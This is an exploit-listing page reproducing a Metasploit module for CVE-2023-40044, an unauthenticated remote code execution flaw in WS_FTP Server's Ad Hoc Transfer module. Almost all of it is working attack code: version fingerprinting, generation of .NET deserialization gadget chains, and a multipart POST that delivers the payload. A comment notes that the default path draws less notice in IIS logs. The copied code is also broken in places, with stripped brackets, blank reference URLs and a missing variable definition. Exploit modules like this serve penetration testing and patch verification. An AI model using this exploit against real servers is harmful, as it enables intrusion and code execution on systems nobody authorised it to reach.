Progress Software WS_FTP Unauthenticated Remote Code Execution

CVE Category Price Severity
CVE-2023-40044 CWE-94 $5,000 - $25,000 Critical
Author Risk Exploitation Type Date
Metasploit High Remote 2023-10-05
Our sensors found this exploit at:

Below is a copy:

Progress Software WS_FTP Unauthenticated Remote Code Execution
# This module requires Metasploit:
# Current source:

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
        'Name' => 'Progress Software WS_FTP Unauthenticated Remote Code Execution',
        'Description' => %q{
          This module exploits an unsafe .NET deserialization vulnerability to achieve unauthenticated remote code
          execution against a vulnerable WS_FTP server running the Ad Hoc Transfer module. All versions of WS_FTP Server
          prior to 2020.0.4 (version 8.7.4) and 2022.0.2 (version 8.8.2) are vulnerable to this issue. The vulnerability
          was originally discovered by AssetNote.
        'License' => MSF_LICENSE,
        'Author' => [
          'sfewer-r7', # MSF Exploit & Rapid7 Analysis
        'References' => [
          ['CVE', '2023-40044'],
          ['URL', ''],
          ['URL', ''],
          ['URL', '']
        'DisclosureDate' => '2023-09-27',
        'Platform' => %w[win],
        'Arch' => [ARCH_CMD],
        # 5000 will allow the powershell payloads to work as they require ~4200 bytes. Notably, the ClaimsPrincipal and
        # TypeConfuseDelegate (but not TextFormattingRunProperties) gadget chains will fail if Space is too large (e.g.
        # 8192 bytes), as the encoded payload command is padded with leading whitespace characters (0x20) to consume
        # all the available payload space via ./modules/nops/cmd/generic.rb).
        'Payload' => { 'Space' => 5000 },
        'Privileged' => false, # Code execution as `NT AUTHORITY\NETWORK SERVICE`.
        'Targets' => [
            'Windows', {}
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]

        # This URI path can be anything so long as it begins with /AHT/. We default ot /AHT/ as it is less obvious in
        # the IIS logs as to what the request is for, however the user can change this as needed if required.'TARGET_URI', [ false, 'Target URI used to exploit the deserialization vulnerability. Must begin with /AHT/', '/AHT/']),

  def check
    # As the vulnerability lies in the WS_FTP Ad Hoc Transfer (AHT) module, we query the index HTML file for AHT.
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => '/AHT/AHT_UI/public/index.html'

    return CheckCode::Unknown('Connection failed') unless res

    title = Nokogiri::HTML(res.body).xpath('//head/title')&.text

    # We verify the target is running the AHT module, by inspecting the HTML heads title.
    if title == 'Ad Hoc Transfer'
      res = send_request_cgi(
        'method' => 'GET',
        'uri' => '/AHT/AHT_UI/public/js/app.min.js'

      return CheckCode::Unknown('Connection failed') unless res

      # The patched versions were released on September 2023. We can query the date stamp in the app.min.js file
      # to see when this file was built. If it is before Sept 2023, then we have a vulnerable version of WS_FTP,
      # but if it was build on Sept 2023 or after, it is not vulnerable.

      if res.code == 200 && res.body =~ %r{/\*! fileTransfer (\d+)-(\d+)-(\d+) \*/}
        day = ::Regexp.last_match(1).to_i
        month = ::Regexp.last_match(2).to_i
        year = ::Regexp.last_match(3).to_i

        description = "Detected a build date of #{day}-#{month}-#{year}"

        if year > 2023 || (year == 2023 && month >= 9)
          return CheckCode::Safe(description)

        return CheckCode::Appears(description)

      # If we couldn't get the JS build date, we at least know the target is WS_FTP with the Ad Hoc Transfer module.
      return CheckCode::Detected


  def exploit
    unless datastore['TARGET_URI'].start_with? '/AHT/'
      fail_with(Failure::BadConfig, 'The TARGET_URI must begin with /AHT/')

    # All of these gadget chains will work. We pick a random one during exploitation.
    chains = %i[ClaimsPrincipal TypeConfuseDelegate TextFormattingRunProperties]

    gadget = ::Msf::Util::DotNetDeserialization.generate(
      gadget_chain: chains.sample,
      formatter: :BinaryFormatter

    # We can reach the unsafe deserialization via either of these tags. We pick a random one during exploitation.

    message =

    part = message.add_part("::#{tags.sample}::#{Rex::Text.encode_base64(gadget)}\r\n", nil, nil, nil)

    part.header.set('name', rand_text_alphanumeric(8))

    res = send_request_cgi(
        'uri' => normalize_uri(datastore['TARGET_URI']),
        'ctype' => 'multipart/form-data; boundary=' + message.bound,
        'method' => 'POST',
        'data' => message.to_s

    unless res&.code == 302
      fail_with(Failure::UnexpectedReply, 'Failed to trigger vulnerability')


Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.